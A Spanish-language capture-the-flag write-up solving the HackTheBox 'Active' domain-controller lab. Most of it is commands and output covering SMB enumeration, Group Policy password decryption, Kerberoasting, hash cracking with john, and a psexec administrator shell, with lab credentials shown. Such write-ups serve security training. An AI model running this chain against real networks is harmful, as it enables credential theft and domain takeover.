HTB active AD

¡Hola! En esta ocasión vamos a resolver de la máquina active AD de HackTheBox. La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!

PREPARACIÓN

Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre active y los subdirectorios recon junto con exploit, con el objetivo de organizar la información que recopilemos en la realización de la máquina.

mkhack active
cd !$/recon

RECONOCIMIENTO

Accedemos al directorio recon e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl time to live de una traza ICMP.

osping 10.10.10.100
[*] Detectando sistema operativo ...

[+] 10.10.10.100 ttl=127 >> Windows

Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.100 -oG ports | grep open
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5722/tcp  open  msdfsr
9389/tcp  open  adws
47001/tcp open  winrm
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49165/tcp open  unknown
49168/tcp open  unknown
49169/tcp open  unknown

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.

nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49169 -sCV 10.10.10.100 -oN versions
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-01-13 03:25:37Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
49168/tcp open  msrpc         Microsoft Windows RPC
49169/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

AD DOMAIN DETECTION

Iniciamos con la detección del dominio donde inicialmente, por medio de la utilidad crackmapexec enumeramos información necesaria para tener un mejor alcance a la máquina víctima.

crackmapexec smb 10.10.10.100
SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)

Agregamos en el archivo /etc/hosts

sudo su
nvim /etc/hosts
10.10.10.100  DC DC.active.htb active.htb

SMB NULL SESSION ENUM

Eumeramos información por null session

crackmapexec smb 10.10.10.100 --shares
smbclient -L 10.10.10.100 -N
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	Replication     Disk      
	SYSVOL          Disk      Logon server share 
	Users           Disk

Revisamos los archivos con capacidad de lectura, encontrando groups.xml, el cual contiene una credencial codificada, por lo tanto descargamos este archivo en nuestra máquina.

smbmap -H 10.10.10.100 -r "Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml"
smbmap -H 10.10.10.100 --download "Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml"
mv 10.10.10.100-Replication_active.htb_Policies_\{31B2F340-016D-11D2-945F-00C04FB984F9\}_MACHINE_Preferences_Groups_Groups.xml groups.xml

DECRYPT GROUPS.XML PASSWORD

Vamos a proceder a desencriptar esta credencial para el usuario SVC_TGS con la utilidad gpp-decrypt

cat groups.xml
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18

GRANTED SMB ACCESS SVC_TGS USER

Tenemos una credencial! Es momento de ponerlo a prueba con la utilidad crackmapexec por medio del protocolo smb, donde tenemos acceso a más recursos compartidos.

crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18 
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18 
SMB         10.10.10.100    445    DC               [+] Enumerated shares
SMB         10.10.10.100    445    DC               Share           Permissions     Remark
SMB         10.10.10.100    445    DC               -----           -----------     ------
SMB         10.10.10.100    445    DC               ADMIN$                          Remote Admin
SMB         10.10.10.100    445    DC               C$                              Default share
SMB         10.10.10.100    445    DC               IPC$                            Remote IPC
SMB         10.10.10.100    445    DC               NETLOGON        READ            Logon server share 
SMB         10.10.10.100    445    DC               Replication     READ            
SMB         10.10.10.100    445    DC               SYSVOL          READ            Logon server share 
SMB         10.10.10.100    445    DC               Users           READ  

FLAG USER.TXT (SMB)

Luego de revisar los archivos, encontramos la flag user.txt, siendo así descargamos el archivo y lo miramos en nuestra máquina atacante.

smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users/SVC_TGS/Desktop/user.txt
mv 10.10.10.100-Users_SVC_TGS_Desktop_user.txt user.txt
head -c 10 user.txt; echo
0f832bb8a8

AD ENUM RPCCLIENT (WITH CREDS)

Ahora que tenemos credenciales, vamos a realizar una enumeración por RPC con la utilidad rpcclient

ENUMERACIÓN DE USUARIOS NULL SESSION

rpcclient -U "" 10.10.10.100 -N -c enumdomusers
Could not initialise samr. Error was NT_STATUS_ACCESS_DENIED

CREACIÓN DE LISTADO DE USUARIOS

rpcclient -U 'SVC_TGS%GPPstillStandingStrong2k18' 10.10.10.100 -c enumdomusers | grep -oP '\[.*?\]' | grep -v 0x | tr -d '[]' > users.txt

ENUMERACIÓN DE GRUPOS

rpcclient -U 'SVC_TGS%GPPstillStandingStrong2k18' 10.10.10.100 -c enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[DnsUpdateProxy] rid:[0x44e]

ENUMERACIÓN MIEMBROS GRUPO DOMAIN ADMINS (0X200)

rpcclient -U 'SVC_TGS%GPPstillStandingStrong2k18' 10.10.10.100 -c "querygroupmem 0x200"
	rid:[0x1f4] attr:[0x7]

ENUMERACIÓN DE USUARIO ADMINISTRATOR DEL GRUPO DOMAIN ADMINS (0X1F4)

rpcclient -U 'SVC_TGS%GPPstillStandingStrong2k18' 10.10.10.100 -c "queryuser 0x1f4"
	User Name   :	Administrator
	Full Name   :	
	Home Drive  :	
	Dir Drive   :	
	Profile Path:	
	Logon Script:	
	Description :	Built-in account for administering the computer/domain
	Workstations:	
	Comment     :	
	Remote Dial :
	Logon Time               :	jue, 12 ene 2023 22:10:29 -05
	Logoff Time              :	mié, 31 dic 1969 19:00:00 -05
	Kickoff Time             :	mié, 31 dic 1969 19:00:00 -05
	Password last set Time   :	mié, 18 jul 2018 14:06:40 -05
	Password can change Time :	jue, 19 jul 2018 14:06:40 -05
	Password must change Time:	mié, 13 sep 30828 21:48:05 -05
	unknown_2[0..31]...
	user_rid :	0x1f4
	group_rid:	0x201
	acb_info :	0x00000210
	fields_present:	0x00ffffff
	logon_divs:	168
	bad_password_count:	0x00000000
	logon_count:	0x00000041
	padding1[0..7]...
	logon_hrs[0..21]...

ENUMERACIÓN DESCRIPCIONES DE USUARIOS

rpcclient -U 'SVC_TGS%GPPstillStandingStrong2k18' 10.10.10.100 -c "querydispinfo"
index: 0xdea RID: 0x1f4 acb: 0x00000210 Account: Administrator	Name: (null)	Desc: Built-in account for administering the computer/domain
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: Guest	Name: (null)	Desc: Built-in account for guest access to the computer/domain
index: 0xe19 RID: 0x1f6 acb: 0x00020011 Account: krbtgt	Name: (null)	Desc: Key Distribution Center Service Account
index: 0xeb2 RID: 0x44f acb: 0x00000210 Account: SVC_TGS	Name: SVC_TGS	Desc: (null)

KERBRUTE INSTALL

Instalamos la utilidad kerbrute para poder enumerar usuarios por medio del protocolo kerberos

git clone http://github.com/ropnop/kerbrute
cd kerbrute
go build .
go build -ldflags '-s -w' .
upx kerbrute
mv kerbrute /usr/bin/kerbrute

TGT KERBRUTE ENUM

Procedemos con la emumeración de usuarios que capturamos anteriormente en el archivo users.txt

kerbrute userenum -d active.htb --dc 10.10.10.100 users.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 01/12/23 - Ronnie Flathers @ropnop

2023/01/12 23:40:30 >  Using KDC(s):
2023/01/12 23:40:30 >  	10.10.10.100:88

2023/01/12 23:40:30 >  [+] VALID USERNAME:	Administrator@active.htb
2023/01/12 23:40:30 >  [+] VALID USERNAME:	SVC_TGS@active.htb
2023/01/12 23:40:30 >  Done! Tested 4 usernames (2 valid) in 0.099 seconds

AD TGT GETNPUSERS.PY

Otra manera de enumerar usuarios validos del dominio es con la utilidad GetNPUsers de la suite de Impacket, en esta ocasión podemos corroborar los dos usuarios validos encontrados anteriormente.

impacket-GetNPUsers active.htb/ -no-pass -usersfile users.txt
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User SVC_TGS doesn't have UF_DONT_REQUIRE_PREAUTH set

GETUSERSPNS ENUM (KERBEROASTING ATTACK)

Ahora que tenemos credenciales, vamos a sacar provecho y capturar el hash NTMLv2 en caso de que sea posible, para que, posteriormente logremos por fuerza bruta romper este hash y obtener una contraseña en texto plano. Primero se consulta si es posible obtener el hash y luego lo solicitamos, todo por medio de la utilidad GetUserSPNs

impacket-GetUserSPNs "active.htb/SVC_TGS:GPPstillStandingStrong2k18" -dc-ip 10.10.10.100
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 14:06:40.351723  2023-01-12 22:10:28.819364             
impacket-GetUserSPNs "active.htb/SVC_TGS:GPPstillStandingStrong2k18" -dc-ip 10.10.10.100 -request
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 14:06:40.351723  2023-01-12 22:10:28.819364             



$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$533cddd55739a66c6390663f54560c71$536da9030c0fcfe56898fb14b26a99224129f8d70ede472a9d68a8cda50ddf7103d88e9d3e82879213e6881399aa363155e663f80ab390f9b9395d9d8167eb5206552d2fdd17670f5578cc44a6da52ef1da911f04af0fa652cb77df376cdaf27ddf2df147c3cdc998c338bf76aa9deea8ccc109ef941978e83ae0cc8409f64765804dda10ab0e6877733e2b2edf7ded7bb8392326f3727333ce630f848ea04a25aa1787d51ae01a33aeaf8c6c3d5d4cd0e733f43953b99b75993b90c422de8fc290f5ca41804fea76b93a4fef39e5691e63da8cff4b602b22a38f955a6160fb0e7ff85f9aac665d6e0a8cfc1602194a0914195c4a0e860d7558a4d710b5db2e9e8a6e71e940c8a33e426ec5a3ee04a8c6e2fb73e7544378bb4f71e29caa3f1ac3e6408e3ca588730116463cf7435e46ced0f7c82d4d35732b5d0df7a8a3942812adff8b51d01d3a3af53a51bb5286da83e629f9c699ac60603b60620384129fae32d9fe9a5d6e06fffccb5ac0cee924227653078632ac7950efdd9761ad362930aa66f127a538d368165660123d2f30ad709e0ca7f8a9f3f6b16a50314ccb50d1038d34a243d84f98738c7295b8f3637be871ef898232549775437508d68acbd7cbfabf88f4096aa0c79f3a18c8196cd30b861c9cd6e2c150a52d8c3f7136beadc50a734768c28c287fe21908f0e6fb4b90e21fbbfd9ddc8fa345a9d4acb26ca82bfd22243a6253dec1a6322a568b545565b99bfb40bade7088304c5879bd296c5c5f99d2eef5cc5a522a8793dff365fc3d279faacd80dc803a8400b2f0d04a21e2ceb015690302e22485296d69e5dc66b615eefde19c402f1bc4850913a1f677f7dadbe433fcbe38a5917711a50a5443c430e26bc3b4702371c56bf4413b4b89c7da880a7f62893b8a1737adfe2afb0aa1d5cc4a6e1fb5fdfbf55bcd4d658d4d4080f1853599159f00de46bc7761297fa776986888d61ee681083882cafd127390545f3624d14cf3838e5b2eddfa2f4935be0b9bb8c9404fbce1cd0dcc0feb1bfe7f03c9064b29bddb0183858c35b8b096ff6b4eca2107922d8334ba5028c80160bc167c6c9848a46f741dddb986571021edd49658d05d868502aad7292bf4ab2c87413554a79e6ae1ad3679a25101332a5b34bba01752c6df15ff7055eefcf0427cbdc9e8c7f0eca8db233c766a14391fa18c59fd3120d1ef5825d8465027fdbcbf5c6a90b094f43c97f08524a2b0dd42bf9fba2490ad8e310

BRUTEFORCE ADMINISTRATOR HASH

Capturamos el hash y lo guardamos en un archivo homonimo hash, luego lo rompemos con la utilidad john

impacket-GetUserSPNs "active.htb/SVC_TGS:GPPstillStandingStrong2k18" -dc-ip 10.10.10.100 -request | tail -n 1 > hash
john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)

GRANTED ACCESS ADMINISTRATOR USER

Tenemos la credencial del usuario Administrator, ahora vamos a validarlo por smb con la utilidad crackmapexec y ya obteniendo un acceso como administrador Pwn3d, procedemos con la utilidad impacket-psexec a entablar una conexión directamente con la máquina víctima.

crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
impacket-psexec 'active.htb/Administrator:Ticketmaster1968@10.10.10.100' cmd.exe
whoami

FLAGS

Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.

C:\Windows\system32>cd C:/
C:\>dir /b/s user.txt
C:\Users\SVC_TGS\Desktop\user.txt
C:\>set /P user=<"C:\Users\SVC_TGS\Desktop\user.txt"
C:\>echo.%user:~0,10%
0f832bb8a8
dir /b/s root.txt
C:\Documents and Settings\Administrator\Desktop\root.txt
set /P root=<"C:\Documents and Settings\Administrator\Desktop\root.txt"
echo.%root:~0,10%
aa4beed1c0

¡Hemos logrado completar la máquina active de HackTheBox!

¡Que tengan un buen día en el planeta donde se encuentren!

Nos vemos en otro bit.